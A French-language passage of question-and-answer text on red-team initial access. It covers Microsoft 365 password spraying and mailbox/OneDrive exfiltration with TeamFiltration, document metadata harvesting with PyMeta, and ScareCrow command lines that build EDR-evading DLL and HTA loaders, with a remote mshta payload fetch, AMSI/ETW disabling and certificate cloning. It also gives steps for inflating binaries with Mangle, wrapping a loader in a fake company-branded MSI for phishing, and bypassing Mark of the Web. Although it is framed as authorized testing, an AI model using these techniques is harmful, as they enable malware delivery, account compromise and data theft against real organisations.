- **Temporisation (lockout policy)** : Une règle empirique impose de **respecter un intervalle d'au moins deux heures entre chaque série de tests** afin de ne pas déclencher les seuils de verrouillage de compte.

4. Actions en cas de succès (Module -exfil)

- Dès qu'un couple identifiant/mot de passe valide est découvert, vous pouvez activer le module **-exfil**.
- Ce module permet d'exfiltrer immédiatement des boîtes courriel, des fichiers OneDrive ainsi que d'autres données accessibles depuis le compte compromis.

Quels sont les détails sur TeamFiltration ?

TeamFiltration est une boîte à outils tout-en-un développée par Flangvik (<https://github.com/Flangvik/TeamFiltration>), conçue pour cibler les environnements Microsoft 365 (M365) lors des opérations d'accès initial et de persistance.

Les détails et fonctionnalités documentés à son sujet sont :

- **Compatibilité multiplateforme** : L'outil fonctionne sous **Linux**, **macOS** et **Windows**.
- **Champs d'action** : Il permet d'énumérer des utilisateurs, de tester des mots de passe (*password spraying*), d'exfiltrer des données et d'installer des portes dérobées sur les comptes M365.
- **Gestion des cibles** :
 - L'opérateur peut fournir sa propre liste de noms d'utilisateurs.
 - L'outil peut également extraire des cibles potentielles depuis sa propre base de données interne de noms d'utilisateurs **statistiquement probables**.
- **Génération de dictionnaires de mots de passe** : TeamFiltration offre la capacité de générer des listes de mots de passe potentiels construites à partir des **saisons**, des **mois** ou de **mots de passe courants**.
- **Module d'exfiltration (-exfil)** : Dès qu'un compte est compromis avec des identifiants valides, ce module permet d'exfiltrer immédiatement les **boîtes courriel**, les **fichiers OneDrive** et d'autres données accessibles sur le compte.
- **Recommandations opérationnelles et OPSEC** :
 - **Prévention du verrouillage** : Il est impératif d'attendre **au moins deux heures** entre chaque série de tests pour ne pas déclencher la politique de verrouillage des comptes (*lockout policy*).
 - **Rotation d'adresses IP** : L'utilisation d'un proxy rotatif est fortement recommandée pour varier l'adresse IP à chaque requête et éviter de recevoir des réponses erronées causées par l'émission de tout le trafic depuis une source unique.

Comment fonctionne Pymeta ?

PyMeta est un outil développé par **m8sec**, conçu pour automatiser la recherche, le téléchargement et l'extraction de métadonnées contenues dans les documents publics d'une organisation ciblée. Il constitue une réécriture en Python de l'outil **PowerMeta** de dafthack.

Son fonctionnement repose sur les étapes et caractéristiques suivantes :

1. Recherche et collecte automatisée

- **Moteurs de recherche** : PyMeta interroge **Google** et **Bing** à l'aide de requêtes de recherche ciblées (de type *dorks* comme `site:domaine.com filetype:...`) pour repérer les documents indexés publiquement.
- **Formats de fichiers pris en charge** : L'outil cible huit extensions documentaires courantes : **PDF, XLS, XLSX, CSV, DOC, DOCX, PPT et PPTX**.
- **Téléchargement local** : Les fichiers uniques découverts sont automatiquement rapatriés dans un répertoire local (par exemple `./inst_meta` lors du ciblage d'un domaine) afin d'être analysés.

2. Extraction des métadonnées

Une fois les documents téléchargés, PyMeta inspecte leurs propriétés internes pour en extraire des renseignements techniques précieux pour la suite de l'opération :

- Les **schémas de noms d'utilisateur** et les identités des créateurs des fichiers.
- Les informations relatives au **domaine**.
- Les types et les **versions logicielles** utilisées pour générer les documents.
- Les **noms d'hôtes** ou de serveurs internes.
- La découverte éventuelle de documents internes sensibles ou critiques.

3. Utilisation et syntaxe en ligne de commande

L'exécution de l'outil s'effectue sous Python en spécifiant le domaine cible, les options de performance et le fichier de rapport :

```
python3 pymeta.py -d instagram.com -T 1 -f testing.csv
```

- **-d** : Spécifie le domaine cible à explorer.

- **-T** : Définit le nombre de *threads* ou l'ordonnancement de l'exécution (par exemple -T 1).
- **-f** : Enregistre la totalité des métadonnées recueillies dans un fichier de sortie au format **CSV** pour analyse.

Quels sont les outils d'accès initial ?

Dans la méthodologie Red Team présentée, la phase d'**accès initial** (*Initial Access*) repose sur plusieurs vecteurs (pulvérisation de mots de passe, exploitation de vulnérabilités web, ingénierie sociale ou exécution de charges utiles). Les outils documentés pour cette phase se répartissent en trois grandes catégories :

1. Outils de *password spraying* et validation d'identités

- **KnockKnock** (par waffl3ss) : Outil d'énumération passive utilisé pour valider l'existence réelle des noms d'utilisateurs sur les points de terminaison OneDrive et Microsoft Teams avant de lancer une attaque.
- **TeamFiltration** (par Flangvik) : Boîte à outils multiplateforme (Windows, Linux, macOS) dédiée à Microsoft 365 permettant l'énumération, la pulvérisation de mots de passe (avec génération de dictionnaires basés sur les saisons ou des motifs courants) et l'exfiltration immédiate de données (-exfil).
- **MFASweep** (par dafthack) : Permet de tester des identifiants compromis sur divers services et API Microsoft (Graph API, Azure Service Management API, portail web M365, EWS, ActiveSync, ADFS) afin d'identifier les accès fonctionnant avec un seul facteur d'authentification.
- **dauthi** (par emptynebuli) : Cible les plateformes de gestion des appareils mobiles (MDM) telles que VMware AirWatch, BlackBerry EUM, Microsoft Intune, Ivanti MobileIron et Citrix XenMobile, qui manquent souvent de contrôles de verrouillage AD stricts ou n'exigent qu'une authentification monofacteur.
- **Bright Data** : Réseau de mandataires (*proxies*) résidentiels utilisé pour router le trafic et assurer une rotation d'adresses IP à chaque requête lors de la pulvérisation de mots de passe, évitant ainsi les blocages et les réponses erronées.

2. Chargeurs (*loaders*) et obfuscation pour le contournement EDR

Lorsqu'un accès initial nécessite l'exécution d'une charge utile via de l'ingénierie sociale ou un fichier piégé, les opérateurs préparent des chargeurs conçus pour déjouer les solutions EDR et exécuter le *shellcode* :

- **ScareCrow** (par Tyl0us) : Framework de génération de charges utiles spécialisé dans le chargement latéral (*DLL side-loading*) au sein de processus Windows légitimes. Il permet de configurer l'évasion par suppression de crochets (*unhooking*) de l'EDR, l'usage d'appels système personnalisés (*custom syscalls*), le chiffrement du shellcode et l'évasion de bac à sable (*sandbox evasion*) via des appels *IsDomainJoined*.
- **Mangle** (par Tyl0us) : Outil utilisé en complément de ScareCrow pour modifier les fichiers exécutables (PE) ; il permet notamment de retirer les chaînes indicatrices de Go et d'augmenter artificiellement la taille du fichier (ex. ajout de 250 Mo) pour déjouer les scanners disques et mémoires des EDR.
- **Outils d'obfuscation de shellcode complémentaires** :
 - **Freeze** (version Go) et **Freeze.rs** (version Rust) développés par Tyl0us.
 - **PackMyPayload** (par mgeeky).
 - **RustPacker** (par Nariod).
 - **Hades** (par f1zm0).

3. Outils de conditionnement et livraison de la charge utile

- **Advanced Installer** : Logiciel légitime d'administration utilisé pour encapsuler la charge utile malveillante dans un installateur **MSI** crédible, doté d'écrans d'installation personnalisés avec des informations d'entreprise.
- **7-Zip** : Utilisé pour compresser la charge utile dans une archive ZIP ; l'extraction par l'utilisateur avec 7-Zip permet de contourner le mécanisme de sécurité **Mark of the Web** (MOTW) sous Windows.

Comment configurer ScareCrow pour générer un chargeur spécifique (par exemple au format DLL ou HTA)

ScareCrow est un cadre (framework) de génération de charges utiles conçu pour réaliser du chargement latéral (*DLL side-loading*) au sein de processus Windows légitimes et contourner les solutions EDR. Il prend en entrée un *shellcode* brut 64 bits et permet de personnaliser les mécanismes d'évasion, le mode d'exécution et le format du chargeur (*loader*).

Voici la configuration détaillée pour générer un chargeur au format **DLL** ou **HTA**, ainsi que les options d'évasion associées.

1. Configuration d'un chargeur DLL

Pour produire une bibliothèque dynamique (DLL), la configuration repose sur le type de chargeur dll et la sélection éventuelle d'une fonction exportée :

- **-I <chemin>** : Spécifie le chemin vers le fichier de *shellcode* brut 64 bits.
- **-Loader dll** : Indique à ScareCrow de générer un simple fichier DLL. Cette DLL peut ensuite être exécutée sur la machine cible à l'aide de commandes comme rundll32 ou regsvr32 en s'appuyant sur des fonctions exportées telles que DllRegisterServer ou DllGetClassObject.
- **-export <nom_fonction>** : Option spécifique aux chargeurs DLL permettant de définir la fonction d'exportation personnalisée que la bibliothèque doit exposer.
- **Paramètre -O** : Lorsque -Loader est défini sur dll (ou binary), la spécification d'un nom de fichier de sortie avec -O n'est pas requise.

Exemple de syntaxe pour une DLL :

```
./ScareCrow -I shellcode.bin -Loader dll -export DllRegisterServer -  
domain www.domaine-legitime.com
```

2. Configuration d'un chargeur HTA

Pour générer un fichier d'application HTML (.hta), ScareCrow combine le choix d'un processus hôte, la spécification du fichier de sortie et l'option de livraison à distance :

- **-Loader control ou -Loader excel** : Définit le processus qui exécutera la charge utile. Par exemple, control charge une applet de panneau de configuration masquée (le processus hôte devenant rundll32), tandis qu'excel s'exécute dans un processus Excel masqué à l'aide d'un chargeur JScript.
- **-O loader.hta** : Nom obligatoire du fichier de sortie à générer (par exemple loader.hta).
- **-delivery hta** : Génère un fichier .hta vierge contenant le chargeur, accompagné d'une commande mshta pour télécharger et exécuter la charge utile à distance en arrière-plan (option compatible avec les chargeurs control et excel).
- **-url <URL>** : URL associée à l'option de livraison pour télécharger la charge utile distante (ex. <https://acme.com/>).

Exemple de syntaxe pour un fichier HTA :

```
./ScareCrow -l shellcode.bin -Loader control -O payload.hta -delivery hta  
-url https://acme.com/ -domain www.domaine-legitime.com
```

3. Paramètres clés d'évasion et de discrétion (EDR & Sandbox)

Quelle que soit la forme finale retenue, plusieurs options permettent de renforcer le contournement des protections :

- **Technique de suppression des hooks (-Evasion) :**
 - Disk (défaut) : Extrait une version propre de la section .text des DLL système depuis les fichiers stockés sur le disque.
 - KnownDLL : Récupère la section .text propre depuis le répertoire KnownDLLs de l'espace de noms d'objets Windows.
 - None : Ne supprime pas les crochets (*hooks*) posés par l'EDR dans les DLL système et utilise uniquement des appels système personnalisés (*custom syscalls*).
- **Modèle d'exécution du shellcode (-Exec) :**
 - RtlCopy (défaut) : Déplace le shellcode vers l'adresse mémoire allouée dans le processus actif via un appel système.

- VirtualAlloc : Alloue la mémoire et exécute le shellcode via des appels système personnalisés dans le processus en cours.
- ProcessInjection : Active le mode d'injection dans un processus cible externe (défini avec -injection <chemin_processus>).
- NtQueueApcThreadEx : Déclenche l'exécution du code en créant un appel de procédure asynchrone (APC) vers un fil d'exécution cible.
- **Chiffrement de la charge utile (-encryptionmode)** : Permet de choisir l'algorithme de chiffrement du shellcode entre AES (256 bits), ELZMA (par défaut) ou RC4.
- **Détection de bac à sable (-sandbox)** : Restreint l'exécution de la charge utile aux machines effectivement rattachées à un domaine Active Directory grâce à des appels IsDomainJoined, empêchant ainsi l'exécution dans des bacs à sable d'analyse EDR isolés.
- **Signature et certificats** : Possibilité d'indiquer un domaine factice pour signer le code (-domain), de cloner un certificat existant (-clone), d'utiliser un certificat valide (-valid et -password), ou de désactiver la signature (-nosign).
- **AMSI et ETW** : Les arguments -noamsi et -noetw permettent de désactiver les correctifs appliqués en mémoire contre AMSI ou contre la génération d'événements ETW.

4. Post-traitement avec Mangle

Après la compilation par ScareCrow, vos sources recommandent de manipuler le fichier exécutable résultant avec l'outil **Mangle** :

- **-M** : Supprime les chaînes et indicateurs liés au langage Go pour effacer les traces indicatrices.
- **-S <taille_en_Mo>** : Gonfle artificiellement la taille du fichier (par exemple en ajoutant 250 Mo avec -S 250), car la majorité des solutions EDR interrompent l'analyse des fichiers sur disque ou en mémoire au-delà d'un certain seuil volumétrique.

Comment encapsuler ensuite ce chargeur dans un installeur MSI légitime avec Advanced Installer pour le distribuer lors d'une phase d'ingénierie sociale

L'encapsulation d'une charge utile au sein d'un installeur Windows Installer (MSI) permet de lui conférer l'apparence d'un logiciel légitime et d'augmenter son taux de réussite lors d'une campagne d'ingénierie sociale (hameçonnage, faux prétexte de mise à jour, etc.). **Advanced Installer** est un outil légitimement utilisé par les administrateurs système pour déployer des logiciels au sein des organisations, ce qui en fait un vecteur crédible pour masquer un exécutable ou un chargeur. La procédure pas à pas pour créer et configurer ce paquet s'articule comme suit :

1. Création d'un projet d'installation simple

- Lancez l'application **Advanced Installer**.
- Dans la fenêtre de démarrage, sous la section des projets d'installation MSI, sélectionnez le modèle « **Simple Installer Project** ».

2. Intégration du chargeur (*loader*)

- Dans le menu latéral gauche, accédez à la section « **Files and Folders** » (*Fichiers et dossiers*).
- Sous l'arborescence *Target Computer*, cliquez sur le dossier « **Application Folder** ».
- Cliquez sur « **Add Files** » en haut pour importer votre chargeur préalablement compilé et obfusqué (ou votre fichier d'exécution) au sein de ce dossier.

3. Personnalisation de l'identité du paquet (*Product Details*)

Pour rendre l'installation crédible aux yeux de l'utilisateur ciblé, personnalisez les métadonnées dans la section « **Product Details** » sous *Product Information* afin de les adapter à votre scénario d'ingénierie sociale :

- **Name** : Donnez un nom aligné sur votre prétexte (par exemple, « *Employee Updates* »).

- **Version** : Définissez un numéro de version crédible (par exemple, « 1.0.0 »).
- **Publisher** : Indiquez le nom de l'entreprise ciblée ou d'une entité émettrice de confiance (par exemple, « *Acme Corp* »).
- **Product Support Info** : Renseignez des informations contextuelles cohérentes, telles qu'un lien de support (*Support Link*), une URL de mise à jour, un courriel de contact ou des commentaires explicatifs (ex. : « *This installer deploys updates to all employee machines* »).

4. Génération et validation du fichier MSI

- Cliquez sur l'icône « **Build** » en haut à gauche pour compiler le paquet.
- Une fois la compilation terminée, deux dossiers sont créés à l'emplacement du projet. Le fichier d'installation se situe dans le répertoire **<NomDuProduit>-SetupFiles** sous la forme d'un fichier .msi.
- **Comportement à l'exécution** : Lorsque l'utilisateur lance le fichier, un assistant d'installation standard (*Setup Wizard*) s'affiche, guide l'utilisateur à travers les écrans d'installation et confirme la réussite de l'opération. Par défaut, l'installeur dépose les fichiers dans C:\Program Files (x86)\<NomDeL'Éditeur>\<NomDeL'Application>.

5. Astuce de distribution et contournement *Mark of the Web* (MOTW)

Lorsqu'un fichier est téléchargé depuis Internet ou une pièce jointe, Windows lui applique l'attribut de sécurité *Mark of the Web* (MOTW), qui déclenche des avertissements de sécurité renforcés :

- Si l'organisation ciblée utilise l'utilitaire **7-Zip**, compressez le paquet MSI généré dans une **archive .zip**.
- L'extraction de l'archive par l'utilisateur à l'aide de **7-Zip** sur la machine cible permet de **contourner automatiquement la protection Mark of the Web**, facilitant ainsi l'exécution discrète du paquet.

Comment se déroule la phase de post-exploitation ?

Dans le cadre d'un exercice de Red Team, il n'existe **pas de démarche unique ou standardisée** pour mener la phase de post-exploitation. Son déroulement dépend entièrement des **objectifs stratégiques définis au préalable avec le client**.

Voici les caractéristiques et les modalités documentées pour cette phase :

1. Focalisation stratégique sur les objectifs convenus

- Les actions des opérateurs sont étroitement dictées par les **règles d'engagement (ROE)** ou les attentes précisées lors de la **réunion de lancement**.
- Plutôt que de multiplier les actions désordonnées, l'équipe se concentre sur **l'identification et l'exécution du chemin d'accès** permettant de concrétiser les scénarios d'impact fixés.

2. Exemples d'objectifs ciblés

Selon les priorités de l'organisation évaluée, les activités de post-exploitation visent généralement à atteindre des actifs critiques tels que :

- **L'accès aux serveurs de sauvegarde** de l'entreprise.
- **L'obtention et l'exfiltration de données sensibles**, telles que des informations personnelles identifiables (*PII*).
- **L'accès ou la manipulation d'applications critiques** développées en interne.
- **La prise de contrôle à grande échelle** de l'infrastructure globale.
- **La simulation réaliste** du comportement d'un acteur de menace (*threat actor*) spécifique.
- **Le mouvement latéral entre différentes filiales** de l'organisation.

Cette phase constitue ainsi l'aboutissement opérationnel où la Red Team démontre l'impact concret qu'un attaquant pourrait avoir sur les activités métier de l'organisation